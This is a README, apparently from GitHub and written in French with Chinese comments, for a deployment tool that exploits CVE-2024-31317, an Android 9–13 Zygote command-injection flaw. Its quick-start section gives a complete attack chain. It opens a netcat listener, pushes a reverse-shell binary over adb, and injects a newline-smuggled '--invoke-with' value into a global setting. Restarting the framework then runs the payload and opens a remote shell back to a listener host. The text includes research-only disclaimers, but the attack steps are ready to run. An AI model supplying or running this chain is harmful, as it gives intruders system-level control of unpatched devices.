CVE-2024-31317 Deployer

🔒 Déclaration de recherche en sécurité

Ce projet est destiné uniquement à la recherche en sécurité et à des fins éducatives. L'utilisation de cet outil pour des tests non autorisés est illégale. L'auteur décline toute responsabilité en cas d'abus ou de dommages.

📋 Vue d'ensemble

CVE-2024-31317 est une vulnérabilité de sécurité critique affectant les appareils Android 9 à Android 13, permettant à une application disposant de la permission WRITE_SECURE_SETTINGS d'obtenir une exécution avec les privilèges système via une injection de commande.

Ce projet fournit une analyse technique détaillée de cette vulnérabilité, un code de preuve de concept (PoC) ainsi qu'un outil de déploiement automatisé.

✨ Principales fonctionnalités

• 📱 Prise en charge de toutes les versions Android 9-13
• 🛠️ Scripts de déploiement automatisés
• 🔄 Connexion reverse shell
• 📊 Documentation technique détaillée
• 🎯 Conception modulaire

🐛 Détails de la vulnérabilité

• CVE ID: CVE-2024-31317
• Type de vulnérabilité: Injection de commande
• Niveau de gravité: Élevé (High)
• Score CVSS: 7.8
• Composant affecté: Processus Zygote d'Android
• État du correctif: Corrigé dans le correctif de sécurité Android de juin 2024

🎯 Périmètre d'impact

Versions affectées

• ✅ Android 9-13

Versions non affectées

• ❌ Android 14+ (corrigé)
• ❌ Appareils ayant installé le correctif de sécurité de juin 2024 ou plus récent

📁 Structure du projet

CVE-2024-31317-Deployer/
├── README.md
├── LICENSE
├── VULNERABILITY_ANALYSIS.md
├── reverse_shell.c
├── compile.sh
├── payloads/
├── scripts/
└── docs/

🚀 Démarrage rapide

1. Cloner le projet

git clone https://github.com/fcy10012/CVE-2024-31317-Deployer.git
cd CVE-2024-31317-Deployer

2. Compiler le payload

chmod +x compile.sh
./compile.sh

3. Déployer

# 启动监听器
nc -lvnp 4444

# 推送并执行
adb push bin/reverse_shell_arm64 /data/local/tmp/reverse_shell
adb shell chmod 755 /data/local/tmp/reverse_shell

# 注入payload
adb shell settings put global hidden_api_blacklist_exemptions "L*\n--invoke-with /data/local/tmp/reverse_shell 192.168.1.100 4444"

# 触发漏洞
adb shell stop && adb shell start

📚 Documentation

• Analyse technique approfondie
• Instructions d'utilisation du payload
• Tutoriel d'utilisation complet

⚠️ Avertissement

Ce projet est destiné uniquement à la recherche en sécurité et à des fins éducatives. En utilisant cet outil, vous acceptez :

• de respecter toutes les lois et réglementations applicables
• de l'utiliser uniquement à des fins de recherche en sécurité légitime
• d'assumer l'entière responsabilité de vos actions

📜 Licence

Ce projet est sous licence MIT - voir le fichier LICENSE

👨‍💻 Auteur

fcy10012 - GitHub

🙏 Remerciements

Projet de référence : WebLDix/CVE-2024-31317-PoC-Deployer

⭐ Si ce projet vous a été utile, merci de lui laisser une étoile !